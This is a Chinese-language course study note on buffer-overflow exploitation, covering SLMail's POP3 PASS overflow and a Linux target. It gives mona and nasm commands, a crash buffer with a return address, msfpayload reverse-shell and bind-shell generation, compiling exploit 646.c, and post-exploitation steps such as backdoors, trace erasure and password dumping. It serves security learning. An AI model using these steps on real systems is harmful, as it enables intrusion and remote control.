【学习笔记】缓冲区溢出

时间:2021-12-12 11:47:34

缓冲区溢出

程序漏洞来源

 

数据与代码边界不清

最简漏洞原理——shell脚本漏洞

缓冲区溢出

当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,

导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据;

成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控

制权限等后果。

如何发现漏洞

代码审计

逆向工程

模糊测试

想程序堆栈半随机的数据,根据内存变化判断溢出

数据生成器;生成随机,半随机数据

测试工具:识别溢出漏洞

Windows缓冲区溢出

FUZZER——模糊测试

SLMail

POP3 PASS命令存在缓冲区溢出漏洞

无需身份验证实现远程代码执行

 

DEP:阻止代码从数据页被执行

ASLR:随机内存地址加载执行程序和DLL

思路:

将EIP修改为shellcode代码的内存地址,将Shellcode写入该地址空间,程序读取EIP寄存器数值,将跳转到Shellcode的内存空间

不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途

返回地址、Shellcode、buffer中都不能出现坏字符

Null byte (0x00)空字符,用于终止字符串的拷贝操作

Return (0x0D)回车字符,表示POP3PASS命令输入完成

思路:发送0x00——0xff256个字符,查找所有坏字符

重定向数据流

使用ESP的地址替换EIP的值

但是ESP地址变化,硬编码不可行

Slmail是线程应用程序,操作系统为每一个线程分配一段地址范围,每个地址范围不确定

变通思路:

在内存中找到地址固定的系统模块

在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转ESP,从而执行Shellcode

mona.py脚本识别内存模块,搜索“retrun address”是JMP ESP指令模块

寻找无DEP、ALSR保护的内存地址

内存地址不包含坏字符

寻找不收保护的系统模块

!mona modules

将汇编指令jmp esp转换二进制

./nasm_shell取得FFE4

在模块中搜索FFE4指令

!mona find -s“\xff\xe4” -m slmfc.dll

选择不包含坏字符的内存地址

在该地址设置断点

重发buffer

生成Shellcode

使用./msfpayload

 ./msfpayloadwin32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

注意:Shellcode执行结束后以EXitProcess方式退出整个进程,将导致邮件服务崩溃

解决方法:使用ExitThread方法退出

 ./msfpayloadwin32_reverse LHOST=192.168.20.8 EXITFUNC=threadLPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

 

Linux缓冲区溢出

调试工具——edb

运行平台——kali i486虚拟机

新版系统会有DEP 、ALSR、堆栈cookies、堆栈粉碎保护机制

ps:限制只有本机连接

 iptables -A INPUT -p tcp--destination-port 13327 \! -d 127.0.0.1 -j DROP

 iptables -A INPUT -p tcp--destination-port 4444 \! -d 127.0.0.1 -j DROP

调试:

edb --run 目标文件

唯一字符串识别EIP精确位置

 /usr/share/metasploit-‐framework/tools/pattern_create.rb4379 (创建字符串个数)

判断字符位置

/usr/share/metasploit-‐framework/tools/pattern_offset.rb46367046

思路:

第一阶段Shellcode

ESP跳转到EAX

偏移12个字节

调用/usr/share/metasploit-‐framework/tools/nasm_shell.rb 

-汇编指令:add eax,12

Jmp eax

查找坏字符

ESP跳转地址

使用插件Opcode serach

eg:crash ="\x41“ * 4368 + "\x97\x45\x13\x08“ +"\x83\xc0\x0c\xff\xe0\x90\x90"

设置断点

EIP

生成Shellcode:

 msfpayload linux/x86/shell_bind_tcp LPORT=4444R | msfencode -b "\x00\x0a\x0d\x20" 

 

选择和修改EXP

选择可信赖的EXP源

Exploit-db

EecurityFocus

Serachsploit

有能力修改EXP(python、perl、Ruby、c、c++)

646.c

类unix环境下编译

windows环境下编译

apt-get install mingw32

运行:

 dpkg--add-architecture i386 && apt-get update && apt-get installwine32

导出成exe:

 i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe

运行:

Wine  **.exeIP

避免有害的EXP

考虑系统版本、软件版本、不同的offset、Shellcode

后漏洞利用阶段

上传工具

提权

擦出攻击痕迹

安装后门

长期控制

Dump密码

内网渗透

后漏洞利用阶段

最大的挑战——防病毒软件

使用合法的远程控制软件

上传工具

linux系统

Netcat

Curl

Wget

Windows

缺少预装的下载工具

非交互性shell

类NC远程控制shell

Ftp 192.168.1.1

TFTP传输文件

Xp、2003默认安装

经常被边界防火墙过滤

Kali

mkdir /tftp

添加文件到/tftp/

Chown -R nobody /tftp/

 

启动tftp服务:

atftpd --daemon --port 69 /tftp

远程端:

tftp -i kali IP get file

 

FTP传输文件

VBSCRIPT传输文件

POWERSHELL传输文件

DEBUG传输文件



PS:本笔记通过安全牛课堂教程学习整理所得 http://edu.aqniu.com/course/83